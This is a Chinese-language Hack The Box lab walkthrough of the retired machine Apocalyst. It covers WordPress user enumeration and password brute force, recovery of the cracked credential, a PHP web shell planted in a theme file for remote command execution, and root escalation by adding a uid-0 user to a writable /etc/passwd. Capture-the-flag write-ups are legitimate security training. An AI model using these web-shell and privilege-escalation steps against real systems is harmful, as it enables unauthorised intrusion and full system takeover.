HTB-靶机-Apocalyst

本篇文章仅用于技术交流学习和研究的目的，严禁使用文章中的技术用于非法目的和破坏，否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作，显示IP地址为10.10.10.46

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令

autorecon 10.10.10.46 -o ./apocalyst-autorecon

最终的扫描结果

发现开放了两个端口，访问web应用看看

然后根据上面扫描的结果中爆破的目录有很多，目标是个WordPress程序，访问到了其后台管理地址，这里刚开始是使用IP地址访问，发现目标地址会自动访问域名，所以就添加了本地hosts

echo "10.10.10.46 apocalyst.htb" | sudo tee -a /etc/hosts.

访问正常之后，先使用wpscan把目标存在的用户跑出来

wpscan --url http://apocalyst.htb/ -e

有了用户根据目标页面生成字典再跑一下

cewl -d 0 http://apocalyst.htb -w brutelist.txt

使用上面的字典跑一下WordPress的用户密码

wpscan --url http://apocalyst.htb --usernames falaraki --passwords ./brutelist.txt

遗憾的是没有跑出来密码，那么再回到开始再次跑目录，不过这次是使用上面得到的字典去跑

gobuster dir -u http://apocalyst.htb/ -w /home/kali/Downloads/htb/apocalyst/brutelist.txt -x php -o bmfx-apocalyst.gobusters -t 100 -f -l
上述跑出来显示长度和大小

根据上面跑出来的目录，经过大量访问测试，最终锁定目录/Rightiousness下访问得到的图片中使用了隐写术存放了密码字典

既然有类似字典的，那么再跑下WordPress的用户密码

wpscan --url http://apocalyst.htb --usernames falaraki --passwords ./list.txt

跑出了密码

| Username: falaraki, Password: Transclisiation

登录了到目标WordPress后台，发现跟之前的靶机blocky利用方式一样，具体如下

登录到目标WordPress程序找到路径/wp-content/themes/twentyseventeen/page.php 当然还有其他写webshell代码的位置，只要有权限写入即可，这里只是列举其中之一，写入如下php代码

if (isset($_GET[0])) {
system($_GET[0]);
}

访问 http://apocalyst.htb/wp-content/themes/twentyseventeen/page.php?0=id 即可远程执行命令

根据上面的操作原理，制作的如下一键反弹shell代码
https://github.com/nullarmor/hackthebox-exploits/blob/master/blocky/exploit.py (使用Python3执行)

 

也可以自己反弹shell

使用LinEnum.sh收集了提权相关的信息，发现/etc/passwd是含有写入的权限，直接添加一个uid为0的用户即可提权

bmfx:vElWaD/nKmUyw:0:0:root:/root:/bin/bash